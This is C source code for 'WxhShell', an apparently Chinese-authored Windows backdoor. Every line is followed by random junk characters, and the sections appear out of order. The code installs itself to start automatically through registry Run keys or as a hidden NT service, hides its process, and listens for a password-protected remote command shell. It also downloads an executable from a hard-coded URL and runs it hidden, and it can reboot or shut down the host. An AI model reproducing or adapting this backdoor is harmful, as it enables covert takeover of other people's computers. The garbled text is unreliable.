} PROCESS_BASIC_INFORMATION; caIL&G,
Z-^LKe
PROCNTQSIP NtQueryInformationProcess; =O&%c%~q
$mu^G t
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *1uKr9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W<bGDh
@P#N2:jwj
HANDLE hProcess; w^Sz#_2
PROCESS_BASIC_INFORMATION pbi; CNih6R
U_Vs.M.p
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ( Z619w
if(NULL == hInst ) return 0; Yrb{ByO&
C].iCxn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3DzMB?I
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N@2dA*T,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \z>fb%YW
`nUXDmdwzO
if (!NtQueryInformationProcess) return 0; ),0g~'I~D
I5`4Al
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L5Ebc#
if(!hProcess) return 0; ? E1<!~
7S-ys+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;ic3).H
|LRedD7n
CloseHandle(hProcess); {
d=^}-^
iJ-23_D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xqeyD* s
if(hProcess==NULL) return 0; 02f~En}>6
4QH3fTv
HMODULE hMod; !02`t4Zc-
char procName[255]; ~Y `ldL
unsigned long cbNeeded; ,`|3KE9
y<?kzt
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /sUYU(3
Ghu#XJB?
CloseHandle(hProcess); h`]Iy
\RNNg
if(strstr(procName,"services")) return 1; // 以服务启动 YpWPz %`:
{ME2ImD
return 0; // 注册表启动 35A|BD)q
} ?8I?'\F;
zkt+7,vI
// 主模块 <->{
int StartWxhshell(LPSTR lpCmdLine) $ZUdT
{ 18|m)(W
SOCKET wsl; '<jyw
BOOL val=TRUE; u#Pa7_zBj]
int port=0; srr
:!5
struct sockaddr_in door; |v`AA?@{8
}K7#Q
if(wscfg.ws_autoins) Install(); GD&uQ`Y5
<5-[{Q/2z
port=atoi(lpCmdLine); %<)2/|lCd
<C_jF
if(port<=0) port=wscfg.ws_port; w;;BSJ]+[
c>,'Y)8
WSADATA data; @GPCwE1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o@r7
n>G
Hn7_FOC
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Mz9r5
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e|NG"<
door.sin_family = AF_INET; L(/e&J@><
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /1Qr#OJ(]
door.sin_port = htons(port); O%Scjm-^X
m.JBOq=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j5QuAU8
closesocket(wsl); .sxcCrQE
return 1; O)C\vF#
} e
h&IPU S
!SC`D])l
if(listen(wsl,2) == INVALID_SOCKET) { bo,_&4?
closesocket(wsl); szb_*)k
return 1; i#&z2h-b
} >] qc-{>&
Wxhshell(wsl); &)YQv Tzs
WSACleanup(); ^Xuvy{TkPH
^7>3a/
return 0; e2L0VXbb
6}Vf\j~
} 9
3U_tQ&1?
nxY\|@
// 以NT服务方式启动 GSY(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) __lM7LFL
{ 2`AY~i9
DWORD status = 0; bADnW4N`6;
DWORD specificError = 0xfffffff; 8&;UO{
_ ?TN;
serviceStatus.dwServiceType = SERVICE_WIN32; a[v0%W ]u
serviceStatus.dwCurrentState = SERVICE_START_PENDING; NO2XA\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b[__1E9v'
serviceStatus.dwWin32ExitCode = 0; qBU-~"2t
serviceStatus.dwServiceSpecificExitCode = 0; 7WZrSC
serviceStatus.dwCheckPoint = 0; D_?K"E=fw
serviceStatus.dwWaitHint = 0; 2{M^,=^>
BmBj7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F@^~7ZmP`
if (hServiceStatusHandle==0) return; &*sP/z
ZkgV_<M|
status = GetLastError(); Om \o#{D
if (status!=NO_ERROR) ,V'o4]H
{ 9 ^o-EC!_
serviceStatus.dwCurrentState = SERVICE_STOPPED; Pih tf4i
serviceStatus.dwCheckPoint = 0; 2^XGGB0
serviceStatus.dwWaitHint = 0; +_7*iJtD5
serviceStatus.dwWin32ExitCode = status; '#!
gh?
serviceStatus.dwServiceSpecificExitCode = specificError; SD#]$v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kM!kD4&
return; J%8(kWQ|
} D>|H 2
}L
&^xe
serviceStatus.dwCurrentState = SERVICE_RUNNING; JgG$?n\
serviceStatus.dwCheckPoint = 0; |yvQ[U~PQ
serviceStatus.dwWaitHint = 0; 1h(0IjG8
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nv ca."5 y
} $r@
=*(
vVj
// 处理NT服务事件,比如:启动、停止 w'L\?pI
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,l%CX.9
{ R5"K]~
switch(fdwControl) xrlmKSPa
{ 0,r}o
case SERVICE_CONTROL_STOP: IOTR/anu
serviceStatus.dwWin32ExitCode = 0; "rTQG6`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0WT{,/>
serviceStatus.dwCheckPoint = 0; 4f@o mAM
serviceStatus.dwWaitHint = 0; 'AzDP;6qFI
{ lT4Hn;tnN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ygOd69
} v. %R}Pa
return; )iq-yjO6
case SERVICE_CONTROL_PAUSE: jATI&oX
serviceStatus.dwCurrentState = SERVICE_PAUSED; S2n39 3
break; nv)2!mAh\
case SERVICE_CONTROL_CONTINUE: H&F9J^rC
serviceStatus.dwCurrentState = SERVICE_RUNNING; $4-$pL6"
break; Xm+8
case SERVICE_CONTROL_INTERROGATE: 6cpw~
break; ;_8#f%Y#R
}; VQY&g;[d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Lo%9HZ1Mx
} b:=TB0Fx?n
hbU+Usx
// 标准应用程序主函数 -yR.<KnL
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y'FS/=u>0
{ $\b$}wy*
"nm FzN
// 获取操作系统版本 d\ %WgH
OsIsNt=GetOsVer(); &P.4(1sC
GetModuleFileName(NULL,ExeFile,MAX_PATH); wpN k+;
GGe,fb<k
// 从命令行安装 ;?W|#*=R
if(strpbrk(lpCmdLine,"iI")) Install(); H1I{/g
(&&4J{`W9
// 下载执行文件 J%V-Q>L
if(wscfg.ws_downexe) { XEC(P
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Av?2<
WinExec(wscfg.ws_filenam,SW_HIDE); \2nUa
;
} QF-LU
UUF;p2{f
if(!OsIsNt) { ub7zA!%
// 如果时win9x,隐藏进程并且设置为注册表启动 6``'%S'#
HideProc(); z?>D_NLX6
StartWxhshell(lpCmdLine); iQ4);du
} H(2!1?N+
else " .SJ~`S
if(StartFromService()) ;GVV~.7/
// 以服务方式启动 $jm>:YD
StartServiceCtrlDispatcher(DispatchTable); xO1[>W
else #Pw2Q
// 普通方式启动 bgS$ {n/
StartWxhshell(lpCmdLine); Kk(9O06j
R-NS,i={
return 0; Q9Uf.Lh2
} p(PMZVV`
PGYXhwOI
.w> 4
)>b.;
=========================================== OS4q5;1#
7a#4tqM#
6&DX] [G
4%2~Wi8
%@;6^=
@S|jC2^+h
" SF}<{x_
fLDg~;3
#include <stdio.h> &=<x#h-
#include <string.h> YFE&r
#include <windows.h> IP``O!WP
#include <winsock2.h> &ZghMq~
#include <winsvc.h> Jg]'+>,J
#include <urlmon.h> h@:TpE+N
#O$
#pragma comment (lib, "Ws2_32.lib") CPVjmRUF|
#pragma comment (lib, "urlmon.lib") cE`6uq7p
AS E91T~
#define MAX_USER 100 // 最大客户端连接数 K+Z+wA?
#define BUF_SOCK 200 // sock buffer d)@<W1;
#define KEY_BUFF 255 // 输入 buffer 'eo
KZX+
Ubh{!Y
#define REBOOT 0 // 重启 lIUuA
#define SHUTDOWN 1 // 关机 : p{+G
hty0Rb[dH
#define DEF_PORT 5000 // 监听端口 5Xl/L
T[,/5J
#define REG_LEN 16 // 注册表键长度 nSF``pp+
#define SVC_LEN 80 // NT服务名长度 rsF\JQk
?OE.O/~l
// 从dll定义API ]W Zq^'q.
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "6R
5+
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Aub]IO~
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4Sm]>%F':
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yk'9U-.mc
"S&@F/
// wxhshell配置信息 ~6pr0uyO`
struct WSCFG { 'WI^nZM
int ws_port; // 监听端口 ybeKiv9
char ws_passstr[REG_LEN]; // 口令 Yly@ww9t|
int ws_autoins; // 安装标记, 1=yes 0=no ,h{A^[yl
char ws_regname[REG_LEN]; // 注册表键名 {&P
FXJ
char ws_svcname[REG_LEN]; // 服务名 ? Zc"C
char ws_svcdisp[SVC_LEN]; // 服务显示名 Rx*BwZ
char ws_svcdesc[SVC_LEN]; // 服务描述信息 `%E8-]{uS
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X=6y_^
int ws_downexe; // 下载执行标记, 1=yes 0=no -DN8Yb
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,bM-I2BR
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ly4s"4v
P7 ]z
}; Q~MC7-n>
Q.9qImgN
// default Wxhshell configuration 5GA\xM-
struct WSCFG wscfg={DEF_PORT, LAP6U.m'd
"xuhuanlingzhe", 6ns! ~g@
1, kM'"4[,nz
"Wxhshell", Yz4_vePh+5
"Wxhshell", N%7{J
"WxhShell Service", m6MOW&
"Wrsky Windows CmdShell Service", V~T@6S
"Please Input Your Password: ", J0
k
1, :-iMdtm
"http://www.wrsky.com/wxhshell.exe", Ja]?&j
"Wxhshell.exe" Z1ALq5
}; kW`r= u
OFGsjYLw
// 消息定义模块 6
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char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7_wJpTz
char *msg_ws_prompt="\n\r? for help\n\r#>"; K*IxUz(
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }m/RZP~=
char *msg_ws_ext="\n\rExit."; 2>]a)
char *msg_ws_end="\n\rQuit."; T/c<23i
char *msg_ws_boot="\n\rReboot..."; !Oj)B1gc6&
char *msg_ws_poff="\n\rShutdown..."; K.%U
char *msg_ws_down="\n\rSave to "; '`|AI:L
FVB;\'/
char *msg_ws_err="\n\rErr!"; \eGKkSy
char *msg_ws_ok="\n\rOK!"; @)>D))+
V $|<
char ExeFile[MAX_PATH]; sowd`I~
int nUser = 0; 4J|t?]ij|E
HANDLE handles[MAX_USER]; YC=S5;
int OsIsNt; T#
lP!c
WKpA|
SERVICE_STATUS serviceStatus; !mRx$
%ul
SERVICE_STATUS_HANDLE hServiceStatusHandle; `k;KBW
FP#FB$eP
// 函数声明 .lBgp=!
int Install(void); sBK <zR
int Uninstall(void); 7
uMd
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int DownloadFile(char *sURL, SOCKET wsh); YB)3X[R+0
int Boot(int flag); E15vq6 DKF
void HideProc(void); ~gI{\iNF/
int GetOsVer(void); 2 $ !D* <
int Wxhshell(SOCKET wsl); wNNB;n`l
void TalkWithClient(void *cs); 2b=)6H1
int CmdShell(SOCKET sock); B51kV0
int StartFromService(void); LhzMAW<L4
int StartWxhshell(LPSTR lpCmdLine); RA],lNs
>r)X:K+I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QC0!p"
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [pg}S#A
|!H?+Jj:
// 数据结构和表定义 C#i UP|7hh
SERVICE_TABLE_ENTRY DispatchTable[] = H^~.mBP
n
{ -fgC"2H
{wscfg.ws_svcname, NTServiceMain}, '
)-M\'S$E
{NULL, NULL} pi5GxDA]
}; ~AG$5!
]h!`IX
// 自我安装 TFR(
4W
int Install(void) 9B dt (}0A
{ E2AW7f(/
char svExeFile[MAX_PATH]; |<`.fOxJP
HKEY key; Aaw(Ed
strcpy(svExeFile,ExeFile); bm}6{28R
~%ozgzr^
// 如果是win9x系统,修改注册表设为自启动 9
L?;FY)_
if(!OsIsNt) { %8)W0WMe
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qn:kz*:
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PzZZ>7_6S
RegCloseKey(key); Y&*x4&Lb
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G",.,Px
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K?u(1
RegCloseKey(key); +m,!e*g
return 0; ^1jk$$f
} :XV}
c(+d
} DlyMJ#a
} DF1<JdO+
else { LS.r%:$mb
K(T\9J.
// 如果是NT以上系统,安装为系统服务 'GJVWpvUU
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M R'o{?{e`
if (schSCManager!=0) n&-496H
{ U5/qf8)yO
SC_HANDLE schService = CreateService >qn/<??
( 7ODaX.t->
schSCManager, -DO&